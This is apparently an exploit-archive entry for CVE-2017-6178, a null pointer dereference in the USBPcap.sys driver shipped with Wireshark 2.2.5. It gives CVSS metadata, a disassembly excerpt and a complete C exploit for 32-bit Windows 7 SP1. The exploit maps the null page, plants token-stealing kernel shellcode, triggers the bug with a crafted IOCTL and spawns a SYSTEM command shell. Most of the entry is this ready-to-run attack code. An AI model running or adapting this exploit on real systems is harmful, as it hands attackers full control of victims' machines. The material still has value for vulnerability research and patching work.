USBPcap Privilege Escalation

Credit: Parvez Anwar
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-264

CVSS Base Score: 4.6/10
Impact Subscore: 6.4/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

/* Exploit Title - USBPcap Null Pointer Dereference Privilege Escalation Date - 07th March 2017 Discovered by - Parvez Anwar (@parvezghh) Vendor Homepage - Tested Version - (USB Packet capture for Windows bundled with WireShark 2.2.5) Driver Version - - USBPcap.sys Tested on OS - 32bit Windows 7 SP1 CVE ID - CVE-2017-6178 Vendor fix url - not yet Fixed Version - 0day Fixed driver ver - 0day USBPcap.sys ----------- .text:992AF494 loc_992AF494: .text:992AF494 mov ecx, [edi+8] ; DeviceObject .text:992AF494 .text:992AF497 inc byte ptr [esi+23h] .text:992AF49A add dword ptr [esi+60h], 24h .text:992AF49E mov edx, esi ; Irp .text:992AF4A0 call ds:IofCallDriver ; IofCallDriver function called without validating values !!! .text:992AF4A6 push 18h ; RemlockSize .text:992AF4A8 push esi ; Tag .text:992AF4A9 push ebx ; RemoveLock .text:992AF4AA mov edi, eax .text:992AF4AC call ds:IoReleaseRemoveLockEx .text:992AF4B2 mov eax, edi kd> u nt!IofCallDriver . . . 82a7111b eb0c jmp nt!IofCallDriver+0x63 (82a71129) 82a7111d 8b4608 mov eax,dword ptr [esi+8] ds:0023:00000008=???????? <------------ null pointer dereference 82a71120 52 push edx 82a71121 0fb6c9 movzx ecx,cl 82a71124 56 push esi 82a71125 ff548838 call dword ptr [eax+ecx*4+38h] <------------ control flow of execution 82a71129 5e pop esi 82a7112a 59 pop ecx 82a7112b 5d pop ebp 82a7112c c3 ret */ #include <stdio.h> #include <windows.h> #define BUFSIZE 4096 typedef NTSTATUS (WINAPI *_NtAllocateVirtualMemory)( IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress, IN ULONG ZeroBits, IN OUT PULONG RegionSize, IN ULONG AllocationType, IN ULONG Protect); // Windows 7 SP1 #define W7_KPROCESS 0x50 // Offset to _KPROCESS from a _ETHREAD struct #define W7_TOKEN 0xf8 // Offset to TOKEN from the _EPROCESS struct #define W7_UPID 0xb4 // Offset to UniqueProcessId FROM the _EPROCESS struct #define W7_APLINKS 0xb8 // Offset to ActiveProcessLinks _EPROCESS struct BYTE token_steal_w7[] = { 0x60, // pushad Saves all registers 0x64,0xA1,0x24,0x01,0x00,0x00, // mov eax, fs:[eax+124h] Retrieve ETHREAD 0x8b,0x40,W7_KPROCESS, // mov eax, [eax+W7_KPROCESS] Retrieve _KPROCESS 0x8b,0xc8, // mov ecx, eax Current _EPROCESS structure 0x8b,0x98,W7_TOKEN,0x00,0x00,0x00, // mov ebx, [eax+W7_TOKEN] Retrieves TOKEN 0x8b,0x80,W7_APLINKS,0x00,0x00,0x00, // mov eax, [eax+W7_APLINKS] <-| Retrieve FLINK from ActiveProcessLinks 0x81,0xe8,W7_APLINKS,0x00,0x00,0x00, // sub eax, W7_APLINKS | Retrieve _EPROCESS Pointer from the ActiveProcessLinks 0x81,0xb8,W7_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00, // cmp [eax+W7_UPID], 4 | Compares UniqueProcessId with 4 (System Process) 0x75,0xe8, // jne ---- 0x8b,0x90,W7_TOKEN,0x00,0x00,0x00, // mov edx, [eax+W7_TOKEN] Retrieves TOKEN and stores on EDX 0x89,0x91,0xF8,0x00,0x00,0x00, // mov [ecx+W7_TOKEN], edx Overwrites the TOKEN for the current KPROCESS 0x61, // popad Restores all registers 0x83,0xc4,0x18, // add esp,18 0xc3 // ret }; void spawnShell() { STARTUPINFOA si; PROCESS_INFORMATION pi; ZeroMemory(&pi, sizeof(pi)); ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); si.cb = sizeof(si); si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_SHOWNORMAL; if (!CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) { printf("\n[-] CreateProcess failed (%d)\n\n", GetLastError()); return; } CloseHandle(pi.hThread); CloseHandle(pi.hProcess); } int main(int argc, char *argv[]) { _NtAllocateVirtualMemory NtAllocateVirtualMemory; LPVOID addrtoshell; NTSTATUS allocstatus; LPVOID base_addr = (LPVOID)0x00000001; DWORD written; int rwresult; int size = BUFSIZE; HANDLE hDevice; DWORD dwRetBytes = 0; unsigned char buffer[BUFSIZE]; unsigned char devhandle[MAX_PATH]; printf("-------------------------------------------------------------------------------\n"); printf(" USBPCAP (usbpcap.sys) Null Pointer Dereference EoP Exploit \n"); printf(" Tested on Windows 7 SP1 (32bit) \n"); printf("-------------------------------------------------------------------------------\n\n"); sprintf(devhandle, "\\\\.\\%s", "usbpcap1"); addrtoshell = VirtualAlloc(NULL, BUFSIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if(addrtoshell == NULL) { printf("[-] VirtualAlloc memory allocation failure %.8x\n\n", GetLastError()); return -1; } printf("[+] VirtualAlloc memory allocated at %p\n", addrtoshell); memcpy(addrtoshell, token_steal_w7, sizeof(token_steal_w7)); printf("[i] Size of shellcode %d bytes\n", sizeof(token_steal_w7)); NtAllocateVirtualMemory = (_NtAllocateVirtualMemory)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtAllocateVirtualMemory"); if (!NtAllocateVirtualMemory) { printf("[-] Unable to resolve NtAllocateVirtualMemory\n"); return -1; } printf("[+] NtAllocateVirtualMemory [0x%p]\n", NtAllocateVirtualMemory); printf("[+] Allocating memory at [0x%p]\n", base_addr); allocstatus = NtAllocateVirtualMemory(INVALID_HANDLE_VALUE, &base_addr, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (allocstatus) { printf("[-] An error occured while mapping executable memory (0x%08x) %d\n\n", allocstatus, GetLastError()); return -1; } printf("[+] NtAllocateVirtualMemory successful\n"); memset(buffer, 0x00, BUFSIZE); memcpy(buffer+0x0000006b, &addrtoshell, 4); rwresult = WriteProcessMemory(INVALID_HANDLE_VALUE, (LPVOID)0x00000001, buffer, BUFSIZE, &written); if (rwresult == 0) { printf("[-] An error occured while mapping writing memory: %d\n", GetLastError()); return -1; } printf("[+] WriteProcessMemory %d bytes written\n", written); printf("[+] Device handle %s\n", devhandle); hDevice = CreateFile(devhandle, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] CreateFile open %s device failed (%d)\n\n", devhandle, GetLastError()); return -1; } else { printf("[+] Open %s device successful\n", devhandle); } printf("[~] Press any key to send Exploit . . .\n"); getch(); DeviceIoControl(hDevice, 0x00090028, NULL, 0, NULL, 0, &dwRetBytes, NULL); CloseHandle(hDevice); printf("[+] Spawning SYSTEM Shell\n"); spawnShell(); return 0; }

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